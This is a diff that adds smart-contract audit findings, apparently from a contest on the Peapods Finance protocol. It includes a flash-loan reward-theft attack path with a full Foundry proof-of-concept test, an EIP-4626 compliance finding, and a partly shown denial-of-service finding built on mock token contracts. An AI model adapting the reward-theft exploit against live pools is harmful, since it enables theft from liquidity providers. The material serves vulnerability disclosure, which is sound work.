+1. It should be enough tokens in the Uniswap pool so that the minimum is not too low and the attacker can make a profit
+
+### Attack Path
+
+1. It is assumed that fees are below the minimum in the pod
+2. An attacker sees this and takes a flash loan, then bonds it
+3. The attacker adds the received pTKNs as liquidity and receives LP tokens
+4. He then stakes these LP tokens in spTKN. Here, the rewards cannot be processed because they are just below the minimum
+6. The attacker sends a few pTKNs into the pod so that the balance is above the minimum
+7. He unstakes the spTKNs again, where the fees can be processed this time, and the attacker receives a portion of the rewards
+8. Then he removes the liquidity, debonds, and repays the flash loan
+
+### Impact
+
+An attacker can steal rewards through a flash loan, and the users receive too little of the rewards.
+
+### PoC
+
+1. To execute the POC, a `POC.t.sol` file should be created in `contracts/test/POC.t.sol`.
+2. The following code should be inserted into the file:
+```solidity
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.28;
+
+import {console} from "forge-std/console.sol";
+
+// forge
+import {Test} from "forge-std/Test.sol";
+
+// PEAS
+import {PEAS} from "../../contracts/PEAS.sol";
+import {V3TwapUtilities} from "../../contracts/twaputils/V3TwapUtilities.sol";
+import {UniswapDexAdapter} from "../../contracts/dex/UniswapDexAdapter.sol";
+import {IDecentralizedIndex} from "../../contracts/interfaces/IDecentralizedIndex.sol";
+import {WeightedIndex} from "../../contracts/WeightedIndex.sol";
+import {StakingPoolToken} from "../../contracts/StakingPoolToken.sol";
+import {LendingAssetVault} from "../../contracts/LendingAssetVault.sol";
+import {IndexUtils} from "../../contracts/IndexUtils.sol";
+import {IIndexUtils} from "../../contracts/interfaces/IIndexUtils.sol";
+import {IndexUtils} from "../contracts/IndexUtils.sol";
+import {RewardsWhitelist} from "../../contracts/RewardsWhitelist.sol";
+import {TokenRewards} from "../../contracts/TokenRewards.sol";
+
+// oracles
+import {ChainlinkSinglePriceOracle} from "../../contracts/oracle/ChainlinkSinglePriceOracle.sol";
+import {UniswapV3SinglePriceOracle} from "../../contracts/oracle/UniswapV3SinglePriceOracle.sol";
+import {DIAOracleV2SinglePriceOracle} from "../../contracts/oracle/DIAOracleV2SinglePriceOracle.sol";
+import {V2ReservesUniswap} from "../../contracts/oracle/V2ReservesUniswap.sol";
+import {aspTKNMinimalOracle} from "../../contracts/oracle/aspTKNMinimalOracle.sol";
+
+// protocol fees
+import {ProtocolFees} from "../../contracts/ProtocolFees.sol";
+import {ProtocolFeeRouter} from "../../contracts/ProtocolFeeRouter.sol";
+
+// autocompounding
+import {AutoCompoundingPodLpFactory} from "../../contracts/AutoCompoundingPodLpFactory.sol";
+import {AutoCompoundingPodLp} from "../../contracts/AutoCompoundingPodLp.sol";
+
+// lvf
+import {LeverageManager} from "../../contracts/lvf/LeverageManager.sol";
+
+// fraxlend
+import {FraxlendPairDeployer, ConstructorParams} from "./invariant/modules/fraxlend/FraxlendPairDeployer.sol";
+import {FraxlendWhitelist} from "./invariant/modules/fraxlend/FraxlendWhitelist.sol";
+import {FraxlendPairRegistry} from "./invariant/modules/fraxlend/FraxlendPairRegistry.sol";
+import {FraxlendPair} from "./invariant/modules/fraxlend/FraxlendPair.sol";
+import {VariableInterestRate} from "./invariant/modules/fraxlend/VariableInterestRate.sol";
+import {IERC4626Extended} from "./invariant/modules/fraxlend/interfaces/IERC4626Extended.sol";
+
+// flash
+import {IVault} from "./invariant/modules/balancer/interfaces/IVault.sol";
+import {BalancerFlashSource} from "../../contracts/flash/BalancerFlashSource.sol";
+import {PodFlashSource} from "../../contracts/flash/PodFlashSource.sol";
+import {UniswapV3FlashSource} from "../../contracts/flash/UniswapV3FlashSource.sol";
+
+// uniswap-v2-core
+import {UniswapV2Factory} from "v2-core/UniswapV2Factory.sol";
+import {UniswapV2Pair} from "v2-core/UniswapV2Pair.sol";
+
+// uniswap-v2-periphery
+import {UniswapV2Router02} from "v2-periphery/UniswapV2Router02.sol";
+
+// uniswap-v3-core
+import {UniswapV3Factory} from "v3-core/UniswapV3Factory.sol";
+import {UniswapV3Pool} from "v3-core/UniswapV3Pool.sol";
+
+// uniswap-v3-periphery
+import {SwapRouter02} from "swap-router/SwapRouter02.sol";
+import {LiquidityManagement} from "v3-periphery/base/LiquidityManagement.sol";
+import {PeripheryPayments} from "v3-periphery/base/PeripheryPayments.sol";
+import {PoolAddress} from "v3-periphery/libraries/PoolAddress.sol";
+
+// mocks
+import {WETH9} from "./invariant/mocks/WETH.sol";
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {MockERC20} from "./invariant/mocks/MockERC20.sol";
+import {TestERC20} from "./invariant/mocks/TestERC20.sol";
+import {TestERC4626Vault} from "./invariant/mocks/TestERC4626Vault.sol";
+import {MockV3Aggregator} from "./invariant/mocks/MockV3Aggregator.sol";
+import {MockUniV3Minter} from "./invariant/mocks/MockUniV3Minter.sol";
+import {MockV3TwapUtilities} from "./invariant/mocks/MockV3TwapUtilities.sol";
+
+import {PodHelperTest} from "./helpers/PodHelper.t.sol";
+
+contract AuditTests is PodHelperTest {
+ address alice = vm.addr(uint256(keccak256("alice")));
+ address bob = vm.addr(uint256(keccak256("bob")));
+ address charlie = vm.addr(uint256(keccak256("charlie")));
+
+ uint256[] internal _fraxPercentages = [10000, 2500, 7500, 5000];
+
+ // fraxlend protocol actors
+ address internal comptroller = vm.addr(uint256(keccak256("comptroller")));
+ address internal circuitBreaker = vm.addr(uint256(keccak256("circuitBreaker")));
+ address internal timelock = vm.addr(uint256(keccak256("comptroller")));
+
+ uint16 internal fee = 100;
+ uint256 internal PRECISION = 10 ** 27;
+
+ uint256 donatedAmount;
+ uint256 lavDeposits;
+
+ /*///////////////////////////////////////////////////////////////
+ TEST CONTRACTS
+ ///////////////////////////////////////////////////////////////*/
+
+ PEAS internal _peas;
+ MockV3TwapUtilities internal _twapUtils;
+ UniswapDexAdapter internal _dexAdapter;
+ LendingAssetVault internal _lendingAssetVault;
+ LendingAssetVault internal _lendingAssetVault2;
+ RewardsWhitelist internal _rewardsWhitelist;
+
+ // oracles
+ V2ReservesUniswap internal _v2Res;
+ ChainlinkSinglePriceOracle internal _clOracle;
+ UniswapV3SinglePriceOracle internal _uniOracle;
+ DIAOracleV2SinglePriceOracle internal _diaOracle;
+ aspTKNMinimalOracle internal _aspTKNMinOracle1Peas;
+ aspTKNMinimalOracle internal _aspTKNMinOracle1Weth;
+
+ // protocol fees
+ ProtocolFees internal _protocolFees;
+ ProtocolFeeRouter internal _protocolFeeRouter;
+
+ // pods
+ WeightedIndex internal _pod1Peas;
+
+ // index utils
+ IndexUtils internal _indexUtils;
+
+ // autocompounding
+ AutoCompoundingPodLpFactory internal _aspTKNFactory;
+ AutoCompoundingPodLp internal _aspTKN1Peas;
+ address internal _aspTKN1PeasAddress;
+
+ // lvf
+ LeverageManager internal _leverageManager;
+
+ // fraxlend
+ FraxlendPairDeployer internal _fraxDeployer;
+ FraxlendWhitelist internal _fraxWhitelist;
+ FraxlendPairRegistry internal _fraxRegistry;
+ VariableInterestRate internal _variableInterestRate;
+
+ FraxlendPair internal _fraxLPToken1Peas;
+
+ // flash
+ UniswapV3FlashSource internal _uniswapV3FlashSourcePeas;
+
+ // mocks
+ MockUniV3Minter internal _uniV3Minter;
+ MockERC20 internal _mockDai;
+ WETH9 internal _weth;
+ MockERC20 internal _tokenA;
+ MockERC20 internal _tokenB;
+ MockERC20 internal _tokenC;
+
+ // uniswap-v2-core
+ UniswapV2Factory internal _uniV2Factory;
+ UniswapV2Pair internal _uniV2Pool;
+
+ // uniswap-v2-periphery
+ UniswapV2Router02 internal _v2SwapRouter;
+
+ // uniswap-v3-core
+ UniswapV3Factory internal _uniV3Factory;
+ UniswapV3Pool internal _v3peasDaiPool;
+ UniswapV3Pool internal _v3peasDaiFlash;
+
+ // uniswap-v3-periphery
+ SwapRouter02 internal _v3SwapRouter;
+
+ function setUp() public override {
+ super.setUp();
+
+ _deployUniV3Minter();
+ _deployWETH();
+ _deployTokens();
+ _deployPEAS();
+ _deployUniV2();
+ _deployUniV3();
+ _deployProtocolFees();
+ _deployRewardsWhitelist();
+ _deployTwapUtils();
+ _deployDexAdapter();
+ _deployIndexUtils();
+ _deployWeightedIndexes();
+ _deployAutoCompoundingPodLpFactory();
+ _getAutoCompoundingPodLpAddresses();
+ _deployAspTKNOracles();
+ _deployAspTKNs();
+ _deployVariableInterestRate();
+ _deployFraxWhitelist();
+ _deployFraxPairRegistry();
+ _deployFraxPairDeployer();
+ _deployFraxPairs();
+ _deployLendingAssetVault();
+ _deployLeverageManager();
+ _deployFlashSources();
+
+ _mockDai.mint(alice, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ _peas.transfer(alice, 100_000 ether);
+ _peas.transfer(bob, 100_000 ether);
+ _peas.transfer(charlie, 100_000 ether);
+ }
+
+ function _deployUniV3Minter() internal {
+ _uniV3Minter = new MockUniV3Minter();
+ }
+
+ function _deployWETH() internal {
+ _weth = new WETH9();
+
+ vm.deal(address(this), 1_000_000 ether);
+ _weth.deposit{value: 1_000_000 ether}();
+
+ vm.deal(address(_uniV3Minter), 2_000_000 ether);
+ vm.prank(address(_uniV3Minter));
+ _weth.deposit{value: 2_000_000 ether}();
+ }
+
+ function _deployTokens() internal {
+ _mockDai = new MockERC20();
+ _tokenA = new MockERC20();
+ _tokenB = new MockERC20();
+ _tokenC = new MockERC20();
+
+ _mockDai.initialize("MockDAI", "mDAI", 18);
+ _tokenA.initialize("TokenA", "TA", 18);
+ _tokenB.initialize("TokenB", "TB", 18);
+ _tokenC.initialize("TokenC", "TC", 18);
+
+ _tokenA.mint(address(this), 1_000_000 ether);
+ _tokenB.mint(address(this), 1_000_000 ether);
+ _tokenC.mint(address(this), 1_000_000 ether);
+ _mockDai.mint(address(this), 1_000_000 ether);
+
+ _tokenA.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenB.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenC.mint(address(_uniV3Minter), 1_000_000 ether);
+ _mockDai.mint(address(_uniV3Minter), 1_000_000 ether);
+
+ _tokenA.mint(alice, 1_000_000 ether);
+ _tokenB.mint(alice, 1_000_000 ether);
+ _tokenC.mint(alice, 1_000_000 ether);
+ _mockDai.mint(alice, 1_000_000 ether);
+
+ _tokenA.mint(bob, 1_000_000 ether);
+ _tokenB.mint(bob, 1_000_000 ether);
+ _tokenC.mint(bob, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+
+ _tokenA.mint(charlie, 1_000_000 ether);
+ _tokenB.mint(charlie, 1_000_000 ether);
+ _tokenC.mint(charlie, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ }
+
+ function _deployPEAS() internal {
+ _peas = new PEAS("Peapods", "PEAS");
+ _peas.transfer(address(_uniV3Minter), 2_000_000 ether);
+ }
+
+ function _deployUniV2() internal {
+ _uniV2Factory = new UniswapV2Factory(address(this));
+ _v2SwapRouter = new UniswapV2Router02(address(_uniV2Factory), address(_weth));
+ }
+
+ function _deployUniV3() internal {
+ _uniV3Factory = new UniswapV3Factory();
+ _v3peasDaiPool = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 10_000));
+ _v3peasDaiPool.initialize(1 << 96);
+ _v3peasDaiPool.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiPool, 100_000 ether);
+
+ _v3peasDaiFlash = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 500));
+ _v3peasDaiFlash.initialize(1 << 96);
+ _v3peasDaiFlash.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiFlash, 100_000e18);
+
+ _v3SwapRouter = new SwapRouter02(address(_uniV2Factory), address(_uniV3Factory), address(0), address(_weth));
+ }
+
+ function _deployProtocolFees() internal {
+ _protocolFees = new ProtocolFees();
+ _protocolFees.setYieldAdmin(500);
+ _protocolFees.setYieldBurn(500);
+
+ _protocolFeeRouter = new ProtocolFeeRouter(_protocolFees);
+ bytes memory code = address(_protocolFeeRouter).code;
+ vm.etch(0x7d544DD34ABbE24C8832db27820Ff53C151e949b, code);
+ _protocolFeeRouter = ProtocolFeeRouter(0x7d544DD34ABbE24C8832db27820Ff53C151e949b);
+
+ vm.prank(_protocolFeeRouter.owner());
+ _protocolFeeRouter.transferOwnership(address(this));
+ _protocolFeeRouter.setProtocolFees(_protocolFees);
+ }
+
+ function _deployRewardsWhitelist() internal {
+ _rewardsWhitelist = new RewardsWhitelist();
+ bytes memory code = address(_rewardsWhitelist).code;
+ vm.etch(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F, code);
+ _rewardsWhitelist = RewardsWhitelist(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F);
+
+ vm.prank(_rewardsWhitelist.owner());
+ _rewardsWhitelist.transferOwnership(address(this));
+ _rewardsWhitelist.toggleRewardsToken(address(_peas), true);
+ }
+
+ function _deployTwapUtils() internal {
+ _twapUtils = new MockV3TwapUtilities();
+ bytes memory code = address(_twapUtils).code;
+ vm.etch(0x024ff47D552cB222b265D68C7aeB26E586D5229D, code);
+ _twapUtils = MockV3TwapUtilities(0x024ff47D552cB222b265D68C7aeB26E586D5229D);
+ }
+
+ function _deployDexAdapter() internal {
+ _dexAdapter = new UniswapDexAdapter(_twapUtils, address(_v2SwapRouter), address(_v3SwapRouter), false);
+ }
+
+ function _deployIndexUtils() internal {
+ _indexUtils = new IndexUtils(_twapUtils, _dexAdapter);
+ }
+
+ function _deployWeightedIndexes() internal {
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = 300;
+ _f.debond = 300;
+ _f.burn = 500;
+ _f.buy = 200;
+
+ // POD1 (Peas)
+ address[] memory _t1 = new address[](1);
+ _t1[0] = address(_peas);
+ uint256[] memory _w1 = new uint256[](1);
+ _w1[0] = 100;
+ address __pod1Peas = _createPod(
+ "Peas Pod",
+ "pPeas",
+ _c,
+ _f,
+ _t1,
+ _w1,
+ address(0),
+ false,
+ abi.encode(
+ address(_mockDai),
+ address(_peas),
+ address(_mockDai),
+ address(_protocolFeeRouter),
+ address(_rewardsWhitelist),
+ address(_twapUtils),
+ address(_dexAdapter)
+ )
+ );
+ _pod1Peas = WeightedIndex(payable(__pod1Peas));
+
+ _peas.approve(address(_pod1Peas), 100_000 ether);
+ _mockDai.approve(address(_pod1Peas), 100_000 ether);
+ _pod1Peas.bond(address(_peas), 100_000 ether, 1 ether);
+ _pod1Peas.addLiquidityV2(100_000 ether, 100_000 ether, 100, block.timestamp);
+ }
+
+ function _deployAutoCompoundingPodLpFactory() internal {
+ _aspTKNFactory = new AutoCompoundingPodLpFactory();
+ }
+
+ function _getAutoCompoundingPodLpAddresses() internal {
+ _aspTKN1PeasAddress = _aspTKNFactory.getNewCaFromParams(
+ "Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0
+ );
+ }
+
+ function _deployAspTKNOracles() internal {
+ _v2Res = new V2ReservesUniswap();
+ _clOracle = new ChainlinkSinglePriceOracle(address(0));
+ _uniOracle = new UniswapV3SinglePriceOracle(address(0));
+ _diaOracle = new DIAOracleV2SinglePriceOracle(address(0));
+
+ _aspTKNMinOracle1Peas = new aspTKNMinimalOracle(
+ address(_aspTKN1PeasAddress),
+ abi.encode(
+ address(_clOracle),
+ address(_uniOracle),
+ address(_diaOracle),
+ address(_mockDai),
+ false,
+ false,
+ _pod1Peas.lpStakingPool(),
+ address(_v3peasDaiPool)
+ ),
+ abi.encode(address(0), address(0), address(0), address(0), address(0), address(_v2Res))
+ );
+ }
+
+ function _deployAspTKNs() internal {
+ //POD 1
+ address _lpPeas = _pod1Peas.lpStakingPool();
+ address _stakingPeas = StakingPoolToken(_lpPeas).stakingToken();
+
+ IERC20(_stakingPeas).approve(_lpPeas, 1000);
+ StakingPoolToken(_lpPeas).stake(address(this), 1000);
+ IERC20(_lpPeas).approve(address(_aspTKNFactory), 1000);
+
+ _aspTKNFactory.create("Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0);
+ _aspTKN1Peas = AutoCompoundingPodLp(_aspTKN1PeasAddress);
+ }
+
+ function _deployVariableInterestRate() internal {
+ _variableInterestRate = new VariableInterestRate(
+ "[0.5 0.2@.875 5-10k] 2 days (.75-.85)",
+ 87500,
+ 200000000000000000,
+ 75000,
+ 85000,
+ 158247046,
+ 1582470460,
+ 3164940920000,
+ 172800
+ );
+ }
+
+ function _deployFraxWhitelist() internal {
+ _fraxWhitelist = new FraxlendWhitelist();
+ }
+
+ function _deployFraxPairRegistry() internal {
+ address[] memory _initialDeployers = new address[](0);
+ _fraxRegistry = new FraxlendPairRegistry(address(this), _initialDeployers);
+ }
+
+ function _deployFraxPairDeployer() internal {
+ ConstructorParams memory _params =
+ ConstructorParams(circuitBreaker, comptroller, timelock, address(_fraxWhitelist), address(_fraxRegistry));
+ _fraxDeployer = new FraxlendPairDeployer(_params);
+
+ _fraxDeployer.setCreationCode(type(FraxlendPair).creationCode);
+
+ address[] memory _whitelistDeployer = new address[](1);
+ _whitelistDeployer[0] = address(this);
+
+ _fraxWhitelist.setFraxlendDeployerWhitelist(_whitelistDeployer, true);
+
+ address[] memory _registryDeployer = new address[](1);
+ _registryDeployer[0] = address(_fraxDeployer);
+
+ _fraxRegistry.setDeployers(_registryDeployer, true);
+ }
+
+ function _deployFraxPairs() internal {
+ vm.warp(block.timestamp + 1 days);
+
+ _fraxLPToken1Peas = FraxlendPair(
+ _fraxDeployer.deploy(
+ abi.encode(
+ _pod1Peas.PAIRED_LP_TOKEN(), // asset
+ _aspTKN1PeasAddress, // collateral
+ address(_aspTKNMinOracle1Peas), //oracle
+ 5000, // maxOracleDeviation
+ address(_variableInterestRate), //rateContract
+ 1000, //fullUtilizationRate
+ 75000, // maxLtv
+ 10000, // uint256 _cleanLiquidationFee
+ 9000, // uint256 _dirtyLiquidationFee
+ 2000 //uint256 _protocolLiquidationFee
+ )
+ )
+ );
+ }
+
+ function _deployLendingAssetVault() internal {
+ _lendingAssetVault = new LendingAssetVault("Test LAV", "tLAV", address(_mockDai));
+ IERC20 vaultAsset1Peas = IERC20(_fraxLPToken1Peas.asset());
+ vaultAsset1Peas.approve(address(_fraxLPToken1Peas), vaultAsset1Peas.totalSupply());
+ vaultAsset1Peas.approve(address(_lendingAssetVault), vaultAsset1Peas.totalSupply());
+ _lendingAssetVault.setVaultWhitelist(address(_fraxLPToken1Peas), true);
+
+ address[] memory _vaults = new address[](1);
+ _vaults[0] = address(_fraxLPToken1Peas);
+ uint256[] memory _allocations = new uint256[](1);
+ _allocations[0] = 100_000e18;
+ _lendingAssetVault.setVaultMaxAllocation(_vaults, _allocations);
+
+ vm.prank(timelock);
+ _fraxLPToken1Peas.setExternalAssetVault(IERC4626Extended(address(_lendingAssetVault)));
+ }
+
+ function _deployLeverageManager() internal {
+ _leverageManager = new LeverageManager("Test LM", "tLM", IIndexUtils(address(_indexUtils)));
+ _leverageManager.setLendingPair(address(_pod1Peas), address(_fraxLPToken1Peas));
+ }
+
+ function _deployFlashSources() internal {
+ _uniswapV3FlashSourcePeas = new UniswapV3FlashSource(address(_v3peasDaiFlash), address(_leverageManager));
+ _leverageManager.setFlashSource(address(_pod1Peas.PAIRED_LP_TOKEN()), address(_uniswapV3FlashSourcePeas));
+ }
+
+ function testPoc5() public {
+ UniswapV2Pair _v2Pool = UniswapV2Pair(_pod1Peas.DEX_HANDLER().getV2Pool(address(_pod1Peas), address(_mockDai)));
+ StakingPoolToken _spTKN = StakingPoolToken(_pod1Peas.lpStakingPool());
+ TokenRewards _tokenRewards = TokenRewards(_spTKN.POOL_REWARDS());
+
+ vm.startPrank(alice);
+ console.log("\n====== Alice bonds 100 PEAS ======");
+ _peas.approve(address(_pod1Peas), 100e18);
+ _pod1Peas.bond(address(_peas), 100e18, 0);
+
+ console.log("\n====== Alice adds 90 liquidity ======");
+ _mockDai.approve(address(_pod1Peas), 90e18);
+ _pod1Peas.addLiquidityV2(
+ 90e18,
+ 90e18,
+ 1000,
+ block.timestamp
+ ); //Alice is the attacker, so she needs a few LP tokens that she can stake later
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + 1 days);
+
+ vm.startPrank(bob);
+ console.log("\n====== Bob bonds 3300 PEAS ======");
+ _peas.approve(address(_pod1Peas), 3300e18);
+ _pod1Peas.bond(address(_peas), 3300e18, 0); //Bob bonds so that a few fees are generated, which stay in the pod and are later swapped as rewards
+ vm.stopPrank();
+ console.log("min: ", _pod1Peas.balanceOf(address(_v2Pool)) / 1000);
+ console.log("balance _pod1Peas: ", _pod1Peas.balanceOf(address(_pod1Peas))); //Here you can see that the fees cannot yet be swapped to rewards because the collected fees have not yet reached the minimum required
+
+ vm.startPrank(alice);
+ console.log("\n====== Alice stakes 90 lp ======");
+ _v2Pool.approve(address(_spTKN), 90e18);
+ _spTKN.stake(alice, 90e18); //Since there are still too few fees in the contract, they cannot be processed
+
+ console.log("\n====== Alice fills rewards in order to distribute them ======");
+ _pod1Peas.transfer(address(_pod1Peas), 4e18); //Alice sends a few pTKNs as fees to reach the minimum
+
+ console.log("\n====== Alice unstakes 90e18 spTKNs ======");
+ console.log("alice peas balance before: ", _peas.balanceOf(alice));
+ _spTKN.unstake(90e18); //During unstaking, the fees can be processed, and the rewards are distributed too late, which leads to Alice receiving rewards that she shouldn’t have gotten
+ console.log("alice peas balance after: ", _peas.balanceOf(alice));
+ vm.stopPrank();
+ }
+}
+```
+3. The POC can then be started with `forge test --mt testPoc -vv --fork-url `
\ No newline at end of file
diff --git a/287.md b/287.md
new file mode 100644
index 0000000..25f529e
--- /dev/null
+++ b/287.md
@@ -0,0 +1,23 @@
+Energetic Maroon Meerkat
+
+Medium
+
+# EIP-4626 Violation via Reward Processing in Deposit Flow
+
+### Summary
+
+The vault violates the ERC-4626 standard by allowing reward processing to alter asset/share ratios during a deposit transaction. This creates a mismatch between the `previewDeposit `(which shows expected shares) and the actual `deposit` execution (which calculates shares after rewards have changed the vault’s state).
+
+### Vulnerability Details
+
+For reference, the EIP-4626 specification states:
+
+> "`previewDeposit:` MUST return as close to and no more than the exact amount of Vault shares that would be minted in a `deposit` call in the same transaction. I.e. `deposit` should return the same or more `shares` as `previewDeposit` if called in the same transaction."
+
+### Impact
+Does not comply with EIP-4626 standards
+
+### Code Snippets
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L120-L122
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L124-L128
\ No newline at end of file
diff --git a/288.md b/288.md
new file mode 100644
index 0000000..49bf7ac
--- /dev/null
+++ b/288.md
@@ -0,0 +1,401 @@
+Energetic Opaque Elephant
+
+Medium
+
+# Unchecked ERC20Metadata Compliance in `WeightedIndex::getInitialAmount` Leads to DoS via Non-Compliant Tokens
+
+### Summary
+
+The [`getInitialAmount`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L204-L214) function in the `WeightedIndex` contract calls `IERC20Metadata(_tokenAddress).decimals()` without first verifying that `_tokenAddress` implements the `IERC20Metadata` interface. If a contract address that does not implement this interface is provided, the call will revert, potentially disrupting the intended functionality.
+
+### Root Cause
+
+The function does not validate whether `_sourceToken` or `_targetToken` are compliant with the `IERC20Metadata` interface (i.e., they implement `decimals()`). Calling decimals() on a non-compliant token causes a silent revert.
+
+### Internal Pre-conditions
+
+1. The protocol allows non-ERC20Metadata-compliant tokens to be added to the index.
+2. The `getInitialAmount` function is used in critical workflows (e.g., bonding, swaps).
+
+### External Pre-conditions
+
+An attacker or user can add a token to the index that does not implement `decimals()`.
+
+### Attack Path
+
+Step 1: Attacker deploys a fake token contract without a `decimals()` function.
+
+Step 2: Attacker adds this token to the index.
+
+Step 3: When any user calls `getInitialAmount` with this token, the function reverts.
+
+Result: Critical operations (e.g., calculating swap amounts) are blocked.
+
+### Impact
+
+1. **Denial-of-Service (DoS):** The `getInitialAmount` function becomes unusable for any token pair involving the non-compliant token.
+2. **User Frustration**: Legitimate users cannot perform swaps, bonding, or debonding.
+
+
+
+### PoC
+
+Add the below to your Mock file, pay attention to the MockNonERC20 for this test;
+
+```solidity
+contract MockERC20 {
+ string public name;
+ string public symbol;
+ uint8 public decimals;
+ mapping(address => uint256) public balanceOf;
+ mapping(address => mapping(address => uint256)) public allowance;
+
+ constructor(string memory _name, string memory _symbol, uint8 _decimals) {
+ name = _name;
+ symbol = _symbol;
+ decimals = _decimals;
+ }
+
+ function transfer(address recipient, uint256 amount) public returns (bool) {
+ balanceOf[msg.sender] -= amount;
+ balanceOf[recipient] += amount;
+ return true;
+ }
+
+ function approve(address spender, uint256 amount) public returns (bool) {
+ allowance[msg.sender][spender] = amount;
+ return true;
+ }
+
+ // ... Add other mocked functions (like decimals, transferFrom, etc.) as required ...
+
+ function mint(address to, uint256 amount) public {
+ balanceOf[to] += amount;
+ }
+
+ // function decimals() public view returns (uint8) { // Add decimals function
+ // return decimals;
+ // }
+}
+
+// interface IERC20Metadata {
+// function decimals() external view returns (uint8);
+// }
+
+// Mock contract that DOES NOT implement IERC20Metadata
+contract MockNonERC20 {
+ // This contract has NO decimals() function
+ uint256 public someValue;
+
+ constructor(uint256 _value) {
+ someValue = _value;
+ }
+}
+
+
+interface IUniswapV2Router02 {
+ function WETH() external view returns (address);
+ function factory() external view returns (address);
+}
+
+contract MockUniswapV2Router is IUniswapV2Router02 {
+ address public WETH;
+ address public factory;
+
+ constructor(address _weth, address _factory) {
+ WETH = _weth;
+ factory = _factory;
+ }
+
+ // function WETH() external view returns (address) {
+ // return WETH;
+ // }
+
+ // function factory() external view returns (address) {
+ // return factory;
+ // }
+
+ // ... other functions as needed
+}
+
+contract MockPEAS is IPEAS, ERC20 {
+ //uint8 public _decimals; // Store decimals as a state variable
+
+ constructor(string memory _name, string memory _symbol, uint8 /* _decimalsValue */)
+ ERC20(_name, _symbol)
+ {
+ _mint(msg.sender, 10_000_000 * 10 ** 18); // Mint to the deployer for testing
+ // Do not store any additional decimals value; rely on ERC20's default.
+ }
+
+ function burn(uint256 _amount) external virtual override {
+ _burn(msg.sender, _amount); // Burn from the test contract (msg.sender)
+ emit Burn(msg.sender, _amount);
+ }
+
+ // function decimals() public view virtual override returns (uint8) {
+ // return _decimals; // Return the stored decimals value
+ // }
+
+ // Add a mint function for testing purposes:
+ function mint(address _to, uint256 _amount) public {
+ _mint(_to, _amount);
+ }
+
+ // Add a setDecimals function to allow changing the decimals value for testing:
+ // function setDecimals(uint8 _newDecimals) public {
+ // _decimals = _newDecimals;
+ // }
+
+ // ... other functions as needed for your tests ...
+}
+
+contract MockUniswapV2Factory {
+ mapping(address => mapping(address => address)) public getPair;
+
+ function setPair(address tokenA, address tokenB, address pairAddress) public {
+ getPair[tokenA][tokenB] = pairAddress;
+ getPair[tokenB][tokenA] = pairAddress;
+ }
+
+ // Simple createPair that deploys a new pair and stores it.
+ function createPair(address tokenA, address tokenB) public returns (address pair) {
+ MockUniswapV2Pair newPair = new MockUniswapV2Pair(tokenA, tokenB);
+ pair = address(newPair);
+ setPair(tokenA, tokenB, pair);
+ }
+}
+
+// Mock Uniswap V2 Pair.
+contract MockUniswapV2Pair {
+ IERC20 public token0;
+ IERC20 public token1;
+
+ constructor(address _tokenA, address _tokenB) {
+ token0 = IERC20(_tokenA);
+ token1 = IERC20(_tokenB);
+ }
+
+ // ... other pair functionality as needed for your tests
+}
+```
+
+
+Add the below test in your test file and run with and without mitigation;
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.28;
+
+import "@openzeppelin/contracts/interfaces/IERC20.sol";
+import {console2} from "forge-std/Test.sol";
+import {PEAS} from "../contracts/PEAS.sol";
+import {RewardsWhitelist} from "../contracts/RewardsWhitelist.sol";
+import {V3TwapUtilities} from "../contracts/twaputils/V3TwapUtilities.sol";
+import {UniswapDexAdapter} from "../contracts/dex/UniswapDexAdapter.sol";
+import {IDecentralizedIndex} from "../contracts/interfaces/IDecentralizedIndex.sol";
+import {IStakingPoolToken} from "../contracts/interfaces/IStakingPoolToken.sol";
+import {WeightedIndex} from "../contracts/WeightedIndex.sol";
+import {MockFlashMintRecipient} from "./mocks/MockFlashMintRecipient.sol";
+import {PodHelperTest} from "./helpers/PodHelper.t.sol";
+import "forge-std/console.sol";
+import {MockERC20, MockUniswapV2Router, MockPEAS, MockUniswapV2Pair, MockUniswapV2Factory, MockNonERC20} from "./MockERC20.sol";
+import {TestWeightedIndex} from "./TestWeightedIndex.t.sol";
+import "@openzeppelin/contracts/utils/Strings.sol";
+import {WeightedIndex} from "../contracts/WeightedIndex.sol";
+//import {MockDecentralizedIndex2} from "./AutoCompoundingPodLp.t.sol";
+
+
+contract WeightedIndexTest is PodHelperTest {
+ //PEAS public peas;
+ RewardsWhitelist public rewardsWhitelist;
+ V3TwapUtilities public twapUtils;
+ UniswapDexAdapter public dexAdapter;
+ WeightedIndex public pod;
+ MockFlashMintRecipient public flashMintRecipient;
+
+ MockNonERC20 public Fdai;
+ MockERC20 public dai; // Use MockERC20 for DAI
+ MockUniswapV2Router public mockV2Router;
+ MockERC20 public mockWeth;
+ MockPEAS public peas; // Use MockPEAS
+ MockUniswapV2Factory public mockV2Factory;
+ MockUniswapV2Pair public mockPair;
+ TestWeightedIndex public podLarge;
+
+
+ address public mockPairAddress;
+ address public mockV2FactoryAddress;
+ //address dummyFactory = address(0x123);
+ address public peasAddress;
+ address public mockDAI; // Address of the deployed mock DAI
